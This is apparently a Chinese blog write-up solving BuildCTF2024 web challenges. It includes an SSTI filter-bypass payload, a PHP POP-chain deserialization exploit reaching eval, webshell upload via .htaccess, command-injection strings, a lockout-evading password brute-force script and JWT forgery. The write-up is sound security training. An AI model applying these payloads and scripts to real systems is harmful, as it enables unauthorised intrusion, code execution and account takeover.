BuildCTF2024 WEB部分wp

find-the-id

在这里插入图片描述
爆破
在这里插入图片描述
出题人让我们去爆破数字
在这里插入图片描述
上bp开爆
在这里插入图片描述

ez!http

在这里插入图片描述
访问题目进行查看
在这里插入图片描述
查看数据包
在这里插入图片描述
发现传参给了一个user=admin,这里将admin修改为root即可
在这里插入图片描述
从什么来,考察Referer头
Referer: blog.buildctf.vip
在这里插入图片描述
浏览器,考察UA头
User-Agent: buildctf
在这里插入图片描述
只有来自内网的用户才可以访问,猜测是XFF头
在这里插入图片描述
修改Date头
在这里插入图片描述
这里是发起请求的邮箱所以考察的是From头
在这里插入图片描述
只接受代理,考察Via头部
在这里插入图片描述
考察浏览器语言头部Accept-Language
在这里插入图片描述
这里我点击获取Flag没有反应
在这里插入图片描述
查看源码发现只需要POST传入getFlag=This_is_flag即可
在这里插入图片描述

RedFlag

源码如下

import flask
import os


app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/redflag/<path:redflag>')
def redflag(redflag):
    def safe_jinja(payload):
        payload = payload.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload
    return flask.render_template_string(safe_jinja(redflag))

考察的SSTI,源码中过滤了config和self
在这里插入图片描述
这里用的全局对象的config就可以绕过检测

{{url_for.__globals__[‘current_app’].config[‘FLAG’]}}

我的理解是:调用了全局对象的config中的FLAG,而代码只是检测当前对象的config变量,所以不会被过滤
在这里插入图片描述

LovePopChain

在这里插入图片描述
考察pop链
源码如下

<?php
class MyObject{
    public $NoLove="Do_You_Want_Fl4g?";
    public $Forgzy;
    public function __wakeup()
    {
        if($this->NoLove == "Do_You_Want_Fl4g?"){
            echo 'Love but not getting it!!';
        }
    }
    public function __invoke()
    {
        $this->Forgzy = clone new GaoZhouYue();
    }
}

class GaoZhouYue{
    public $Yuer;
    public $LastOne;
    public function __clone()
    {
        echo '最后一次了, 爱而不得, 未必就是遗憾~~';
        eval($_POST['y3y4']);
    }
}

class hybcx{
    public $JiuYue;
    public $Si;

    public function __call($fun1,$arg){
        $this->Si->JiuYue=$arg[0];
    }

    public function __toString(){
        $ai = $this->Si;
        echo 'I W1ll remember you';
        return $ai();
    }
}



if(isset($_GET['No_Need.For.Love'])){
    @unserialize($_GET['No_Need.For.Love']);
}else{
    highlight_file(__FILE__);
}

链子思路如下

MyObject::__wakeup()->hybcx::__toString()->MyObject::__invoke()->GaoZhouYue::__clone()->eval($_POST['y3y4']);

exp如下

<?php
class MyObject{
    public $NoLove="Do_You_Want_Fl4g?";
    public $Forgzy;
}
class GaoZhouYue
{
    public $Yuer;
    public $LastOne;
}
class hybcx{
    public $JiuYue;
    public $Si ;
}
$a = new MyObject();
$b = new hybcx();
$a->NoLove = $b;
$b->Si = $a;
echo serialize($a);

用POST传参进行rce即可
在这里插入图片描述

babyupload

在这里插入图片描述
在这里插入图片描述
访问网址,然后看了一下没什么信息,直接开始目录扫描
在这里插入图片描述
可以扫出来一个upload.php文件
在这里插入图片描述
随便传了一个后门图片
在这里插入图片描述
被过滤了,修改mime为image/jpeg加上头部GIF89a后成功上传,添加后门代码试试
在这里插入图片描述
被丁真鉴定了,坏,继续测,猜测是过滤php
尝试使用短标签来绕过

<?=`ls`?>

成功上传,但是不解析,猜测需要上传.user.ini或者是.htaccess
经过测试发现能够成功上传.htaccess
在这里插入图片描述
在这里插入图片描述
猜测flag在env环境变量中

<?=`env`?>,但是发现env也被过滤了,这里直接使用截断拼接来绕过 <?=`en''v`?>

在这里插入图片描述
成功上传
在这里插入图片描述

ez_md5

在这里插入图片描述
题目一

$sql = "SELECT flag FROM flags WHERE password = '".md5($password,true)."'";

这里考察使用ffifdyop来绕过md5($password,true)

题目二

<?php
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('不可以哦!'); 
    } 
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
    if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
    {
        echo $flag;
    }else die("再想想");

}else die("不是吧这么简单的md5都过不去?");
?>

考点

1、md5数组绕过
2、在php中参数_的替换 Build_CTF.com 
3、md5的爆破 md5(114514xxxxxxx) == 3e41f780146b6c246cd49dd296a3da28 

在robots.txt中可以看的提示md5(114514xxxxxxx)
写脚本爆破可以得到1145146803531
爆破脚本如下

import hashlib

def md5_hash(s):
    return hashlib.md5(s.encode()).hexdigest()

target_md5 = '3e41f780146b6c246cd49dd296a3da28'
prefix = '114514'

for i in range(10000000):  # 可调整范围
    guess = f"{prefix}{str(i).zfill(7)}"  # 生成114514后接7位数
    if md5_hash(guess) == target_md5:
        print(f"找到匹配: {guess}")
        break
else:
    print("未找到匹配")

GET: a[]=1&b[]=2
POST: Build[CTF.com=1145146803531

我写的网站被rce了?

在这里插入图片描述
在这里插入图片描述
给的是一个系统,经过测试可以发现在查看日志处存在漏洞
在日志处用的是传入access,而不是传入access.log
猜测后端是进行拼接的
在这里插入图片描述
过滤了数字,传入字母看看
在这里插入图片描述
这里爆出了路径,拼接字符可以发现输入的字符被拼接在了access和.log之间,那么猜测可以使用%0a进行换行来绕过拼接。

执行一个id看看
在这里插入图片描述
后续还有过滤cat,空格,*号之类的,正常绕过即可
payload如下(不只这一种)

log_type=access%0aca\t$IFS/?lag%0a

Why_so_serials?

在这里插入图片描述
源码如下:

<?php

error_reporting(0);

highlight_file(__FILE__);

include('flag.php');

class Gotham{
    public $Bruce;
    public $Wayne;
    public $crime=false;
    public function __construct($Bruce,$Wayne){
        $this->Bruce = $Bruce;
        $this->Wayne = $Wayne;
    }
}

if(isset($_GET['Bruce']) && isset($_GET['Wayne'])){
    $Bruce = $_GET['Bruce'];
    $Wayne = $_GET['Wayne'];

    $city = new Gotham($Bruce,$Wayne);
    if(preg_match("/joker/", $Wayne)){
        $serial_city = str_replace('joker', 'batman', serialize($city));
        $boom = unserialize($serial_city);
        if($boom->crime){
            echo $flag;
        }
    }else{
    echo "no crime";
    }
}else{
    echo "HAHAHAHA batman can't catch me!";
}

这里考察的是字符串逃逸增多类型,通过joker替换为batman,每次会多出一位

我们可以构造payload使crime=fasle改为true,从而通过if($boom->crime)的判断来输出flag

payload如下

Bruce=1&Wayne=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:“crime”;b:1;}
在这里插入图片描述

tflock

在这里插入图片描述
访问robots.txt,可以得到出题人给出的账号密码
在这里插入图片描述
所以只需要爆破即可,但是这里会进行账号锁定,在网上看的一个文章,当你登录一个账号失败3次之前进行一次别的账号的成功登录,那么就会重置这个登录账号登录失败的次数

这里写个脚本进行爆破

import request
import requests

url="http://27.25.151.80:36905/login.php"
def ctfer_login():
    ctf_payload = {"username": "ctfer", "password": 123456}
    res = requests.post(url, data=ctf_payload)
    print(res.text)
lines=[]
with open('1.txt','r') as file:
    for line in file:
        lines.append(line)

lines_end = [pwd.strip() for pwd in lines]
print(lines_end)

with open('1.txt', 'r') as file:
    for line in file:
        line = line.strip()
        print(line)
        admin_payload = {"username": "admin", "password": line}
        print(admin_payload)
        res = requests.post(url, data=admin_payload)
        print(res.text)
        ctfer_login()
        if '"success":true' in res.text:
            print(line)
            break

得到账号密码登录即可

eazyl0gin

在这里插入图片描述
关键代码如下
在这里插入图片描述
考点
javascript大小写特性

这里推荐看P神的文章

https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

由于题目需要登录的是BUILDCTF,这里可以利用toUpperCase函数特性"ı".toUpperCase() == ‘I’,构造BUıLDCTF来进行登录,密码md5值可以拿到cmd5中进行穷举
在这里插入图片描述

然后使用BUıLDCTF和012346来尝试登录
在这里插入图片描述
如果是在BP中需要传入

username=BU%C4%B1LDCTF&password=012346

刮刮乐

在这里插入图片描述
进来就刮,爽就完事了

在这里插入图片描述
然后提示我们了cmd参数
在这里插入图片描述
需要是来自baidu.com的,加上Referer头
在这里插入图片描述

然后就不提示了,接下来使用cmd来传入参数,猜测是命令执行,但是经过测试,任何命令都不回显,>1.txt却能够写入文件,只不过文件是空的,于是可以猜测后端代码为system($c." >/dev/null 2>&1");那么我们就可以尝试一下%0a || ; 来进行截断绕过

在这里插入图片描述
成功回显

sub

在这里插入图片描述
源码如下

import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'

DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}

messages = []

@app.route('/message', methods=['GET', 'POST'])
def message():
    if request.method == 'POST':
        name = request.form.get('name')
        content = request.form.get('content')

        messages.append({'name': name, 'content': content})
        flash('Message posted')
        return redirect(url_for('message'))  

    return render_template('message.html', messages=messages)

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users:
            flash('Username already exists')
            return redirect(url_for('register'))
        users[username] = {'password': generate_password_hash(password), 'role': 'user'}
        flash('User registered successfully')
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users and check_password_hash(users[username]['password'], password):
            access_token = jwt.encode({
                'sub': username,
                'role': users[username]['role'],
                'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
            }, app.config['JWT_SECRET_KEY'], algorithm='HS256')
            response = make_response(render_template('page.html'))
            response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
            # response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
            return response
        else:
            return jsonify({"msg": "Invalid username or password"}), 401
    return render_template('login.html')

@app.route('/logout')
def logout():
    resp = make_response(redirect(url_for('index')))
    resp.set_cookie('jwt', '', expires=0)
    flash('You have been logged out')
    return resp

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/page')
def page():
    jwt_token = request.cookies.get('jwt')
    if jwt_token:
        try:
            payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
            current_user = payload['sub']
            role = payload['role']
        except jwt.ExpiredSignatureError:
            return jsonify({"msg": "Token has expired"}), 401
        except jwt.InvalidTokenError:
            return jsonify({"msg": "Invalid token"}), 401
        except Exception as e:
            return jsonify({"msg": "Invalid or expired token"}), 401

        if role != 'admin' or current_user not in users:
            return abort(403, 'Access denied')

        file = request.args.get('file', '')
        file_path = os.path.join(DOCUMENT_DIR, file)
        file_path = os.path.normpath(file_path)
        if not file_path.startswith(DOCUMENT_DIR):
            return abort(400, 'Invalid file name')

        try:
            content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
        except subprocess.CalledProcessError as e:
            content = str(e)
        except Exception as e:
            content = str(e)
        return render_template('page.html', content=content)
    else:
        return abort(403, 'Access denied')


@app.route('/categories')
def categories():
    return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5050)

访问靶场
在这里插入图片描述
这里注册一个号然后进行登录,看看数据包
在这里插入图片描述
在返回包中可以看到jwt的值,然后源码给了我们JWT的值,可以得到JWT的secret=BuildCTF,那么我们就可以对jwt的值进行伪造,将sub和role改为admin
在这里插入图片描述
访问page?file=test1.txt,这次成功进行读取了,说明成功伪造了admin的jwt
在这里插入图片描述
输入一点别的看看
在这里插入图片描述

这里可以发现报错返回了Command ‘cat /var/www/html/src/docs/xxx’,这里的xxx是我们输入的文件名,那么就可以猜测后端代码为system(‘cat /var/www/html/src/docs/xxx’),所以我们可以利用逻辑拼接来绕过; || | %0a这些来绕过

在这里插入图片描述
然后能够发现无法直接使用ls /进行查看根目录的信息,这里提供两个方法

1、;cd …;cd …;cd …;cd …;ls
2、ls />2.txt cat 2.txt
在这里插入图片描述
在这里插入图片描述
然后读取flag直接cat /flag即可

ez_waf

在这里插入图片描述
在这里插入图片描述
这里不限制上传的后缀,但是限制内容
采用大量脏数据来绕过waf
在这里插入图片描述
在这里插入图片描述
上传的路径为/uploads/文件名
在这里插入图片描述
然后执行命令即可

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值